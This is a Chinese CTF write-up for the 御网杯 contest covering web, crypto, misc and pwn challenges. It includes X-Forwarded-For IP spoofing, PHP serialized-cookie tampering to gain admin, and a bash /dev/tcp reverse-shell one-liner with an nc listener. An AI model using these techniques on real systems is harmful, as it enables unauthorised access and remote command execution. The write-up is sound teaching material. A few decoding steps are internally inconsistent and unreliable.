御网杯wp
字数 2036 2025-08-29 22:41:01
御网杯CTF竞赛Writeup技术解析
Web安全挑战
1. YWB_Web_xff (IP绕过)
题目分析:
- 目标:绕过IP限制获取flag
- 关键点:需要伪造IP为2.2.2.1才能获取flag
解题步骤:
- 查看网页源码发现PHP代码,确认IP验证逻辑
- 使用Burp Suite或Hackbar工具
- 在HTTP请求头中添加:
X-Forwarded-For: 2.2.2.1 - 提交登录请求获取flag
技术要点:
- X-Forwarded-For (XFF) HTTP头字段用于识别客户端原始IP
- 常用于多级代理环境中传递真实客户端IP
- 服务器端未严格验证XFF头导致IP伪造漏洞
2. YWB_Web_未授权访问 (反序列化漏洞)
题目分析:
- 目标:通过修改序列化数据提升为管理员权限
- 关键点:Cookie中包含序列化的用户对象
解题步骤:
- 检查Cookie发现user字段包含URL编码的序列化数据
- 解码得到原始序列化字符串:
O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:0;} - 修改isAdmin值为true:
O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:1;} - 重新URL编码后更新Cookie
- 刷新页面获取flag
技术要点:
- PHP反序列化漏洞原理
- 对象属性篡改攻击
- URL编码/解码技巧
- 序列化字符串结构解析:
O:5:"Admin"- 5个字符的类名"Admin":2:- 2个属性s:4:"name"- 4个字符的属性名"name"s:5:"guest"- 5个字符的字符串值"guest"b:0- 布尔值false
3. easyweb (命令执行)
题目分析:
- 目标:利用exec函数执行系统命令
- 关键点:exec无回显,需要外带数据
解题步骤:
- 确认POST参数cmd可用于命令执行
- 使用反向Shell技术外带数据:
bash -c 'exec 5<>/dev/tcp/your_vps_ip/8000;cat <&5 | while read line; do $line 2>&5 >&5; done' - 在VPS上监听8000端口:
nc -lvnp 8000 - 执行命令获取flag
技术要点:
- Linux文件描述符重定向
- 反向Shell技术
- 无回显命令执行解决方案
- 网络通信基础
密码学挑战
1. easy-签到题 (多重编码)
解题步骤:
- 初始密文:
GY3DMQZWGE3DON2CGM4DMNBTGA3DEMZSGM4TGMZWGEZEIMZWGYZTGMJWGUZEIMZVGY3DGNZTGQZEIMZZGYZDGMZTGYZEIMZUGMYDGMJTHAZTOMZTGMZDGNRTGU3DKMZZGY3DORA= - Base64解码:
GY3DMQZWGE3DON2CGM4DMNBTGA3DEMZSGM4TGMZWGEZEIMZWGYZTGMJWGUZEIMZVGY3DGNZTGQZEIMZZGYZDGMZTGYZEIMZUGMYDGMJTHAZTOMZTGMZDGNRTGU3DKMZZGY3DORA= - Base32解码:
666C61677B38643062323933612D366331652D356637342D396233362D3430313837333236356539667D - Base16(Hex)解码得到flag:
flag{8d0b293a-6c1e-5f74-9b36-401873265e9f}
技术要点:
- Base编码识别技巧
- 多重编码解密流程
- 编码特征分析
2. 草甸方阵的密语 (栅栏密码+凯撒)
解题步骤:
- 初始密文:
lDrwgDmg{efhsFr} - 栅栏密码解密(栏数需要尝试):
lrgm{fsrDwDgehF} - 凯撒移位解密(位移需要尝试):
flag{zmlXqXaybZ}
技术要点:
- 栅栏密码原理与破解
- 凯撒密码暴力破解方法
- 组合密码解题思路
3. ez_base (Base64)
解题步骤:
- 垃圾邮箱中获取Base64编码:
flag{HNCTFhe9GFNECVH5TF} - 直接解码获取flag
4. baby_rsa (RSA分解)
解题步骤:
- 使用yafu工具分解n得到p和q
- 计算φ(n) = (p-1)(q-1)
- 计算私钥d = e⁻¹ mod φ(n)
- 解密密文c:m = cᵈ mod n
- 将结果中的4改为5得到flag:
flag{5c9c885c361551e0b261f58b61db8cec}
技术要点:
- RSA算法原理
- 大数分解工具使用
- 模反元素计算
- 解密过程实现
杂项挑战
1. 被折叠的显影图纸 (文件分析)
解题步骤:
- 使用010 Editor打开文件
- 搜索"flag"字符串
- 直接获取flag:
flag{0ff!c3_3@$y_Kr@kK3d}
技术要点:
- 二进制文件分析技巧
- 字符串搜索方法
- 文件结构分析
2. ez_xor (异或加密)
解题步骤:
- 编写Python解密脚本:
def xor_decrypt(cipher, key): return ''.join(chr(ord(c) ^ key) for c in cipher) cipher = "..." # 密文 for key in range(256): print(xor_decrypt(cipher, key)) - 尝试不同key值
- 获取flag:
flag{HCTFqweASD155}
技术要点:
- 异或加密原理
- 暴力破解方法
- Python脚本编写
3. 光隙中的寄生密钥 (文件隐写)
解题步骤:
- 使用binwalk分析文件:
binwalk -e file - 提取出隐藏的压缩包
- 使用ARCHPR爆破压缩包密码
- 解压得到flag.txt
- 十六进制转字符后Base64解码:
flag{2Vd#Mk6%pR9zX!sA}
技术要点:
- 文件隐写分析
- 压缩包密码爆破
- 多重编码识别
Pwn挑战
1. Canary (栈溢出)
解题步骤:
- 识别程序存在栈溢出漏洞
- 发现程序有后门函数
- 构造payload覆盖返回地址跳转到后门
- 获取shell
技术要点:
- 栈溢出原理
- Canary绕过技术
- 返回地址覆盖
- 后门函数利用
2. ez_pwn (IO重定向)
解题步骤:
- 识别简单栈溢出漏洞
- 发现close(1)关闭了标准输出
- 获取libc基地址
- 构造ROP链调用system("/bin/sh")
- 将输出重定向到标准错误
- 获取shell
技术要点:
- 文件描述符操作
- libc地址泄露
- ROP链构造
- IO重定向技巧
总结
本Writeup详细解析了御网杯CTF竞赛中的各类题目,涵盖Web安全、密码学、杂项和Pwn等多个领域。关键技术点包括:
-
Web安全:
- HTTP头注入
- PHP反序列化漏洞
- 命令执行与外带数据
-
密码学:
- 多重编码分析
- 古典密码破解
- RSA算法实现
-
杂项:
- 文件隐写分析
- 异或加密破解
- 二进制文件分析
-
Pwn:
- 栈溢出利用
- Canary绕过
- IO重定向技术
这些技术在实际CTF竞赛和渗透测试中都有广泛应用,掌握这些技能对安全研究人员至关重要。